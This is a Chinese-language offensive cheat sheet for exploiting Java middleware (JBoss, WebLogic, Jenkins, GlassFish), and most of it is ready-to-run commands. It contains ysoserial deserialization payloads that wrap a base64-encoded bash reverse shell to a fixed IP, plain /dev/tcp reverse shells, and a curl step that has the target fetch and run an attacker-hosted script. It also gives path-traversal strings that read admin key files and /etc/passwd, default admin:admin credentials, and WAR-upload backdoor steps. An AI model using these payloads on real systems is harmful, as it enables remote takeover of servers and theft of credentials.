常见的java中间件漏洞
Jboss
jBoss是一个基于J2EE的开发源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支
持EJB1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用
端口 :1098,1099,4444,4445,8080,8009,8083,8093
JBoss 5.x/6.x 反序列化漏洞
(1)将反弹shellbash64编码
(2)用java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" > poc.se
JBoss JMXInvokerServlet 反序列化漏洞
还是用之前的poc.serjava -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" > 1.ser
curl http://192.168.1.1:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc.ser
弱口令
Administration Console管理页面存在弱口令,admin:admin,登陆后台上传war包
未授权访问
JMXConsole默认存在未授权访问,直接点击JBoss主页中的JMXConsole链接进入JMXConsole页面
weblogic 7001端口
XMLDecoder 反序列列化漏洞CVE-2017-10271 & CVE-2017-3506
漏洞触发位置:wls-wsat.war
漏洞触发URL:/wls-wsat/CoordinatorPortType(POST)
漏洞的本质:构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞
用工具直接利用
2.远程代码执行漏洞 T3
存在远程代码执行漏洞。该漏洞通过 JRMP 协议利用 RMI 机制的缺陷达到执行任意反序列化代码的目的。攻击者可以在未授权的情况下将 payload 封装在 T3 协议中,通过对 T3 协议中的 payload 进行反序列化,从而实现对存在漏洞的 WebLogic 组件进行远程攻击,执行任意代码并可获取目标系统的所有权限。
3.远程代码执行漏洞
未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求,利用该漏洞在受影响的 WebLogic Server 上执行任意代码。
4.反序列化
用手工
通过FilterExtractor类反序列化漏洞利用导致命令执行
使用工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
选择一个生成的idap服务
尝试用bush -i 反弹shell
反弹shell时命令需要进行base64编码
5.弱口令
上传文件
Jenkins 8080端口
远程代码执行 jdk1.8.192
参考 http://github.com/vulhub/CVE-2017-1000353
bash -i >& /dev/tcp/192.168.1.1/5566 0>&1
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"
python exploit.py http://123.58.236.76:54217 jenkins_poc.ser
2.远程命令执行漏洞(CVE-2018-1000861
参考:
https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc
bash -i >& /dev/tcp/192.168.1.117/5566 0>&1
python3 -m http.server 8888
官方给的并不能成功反弹
先让对方下载一个文件 把反弹shell写进去
再去执行这个文件
python2 exp.py http://123.58.236.76:52281/ "curl -o /tmp/1.sh http://192.168.1.1:8888/shell.txt"
python2 exp.py http://123.58.236.76:52281/ "bash /tmp/1.sh"
GlassFish
文件读取
读密码:
/theme/META-INF/%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./domains/domain1/config/admin-keyfile
读windows文件:
/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini
读linux文件:
/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
2.后台getshell
进入后台后 Applications,右边的deploy
选中war包后上传,填写Context Root 这个关系到你访问的url,点击Ok。
访问http://127.0.0.1:8080/[Context Root]/[war包内的filename]
python脚本检测文件读取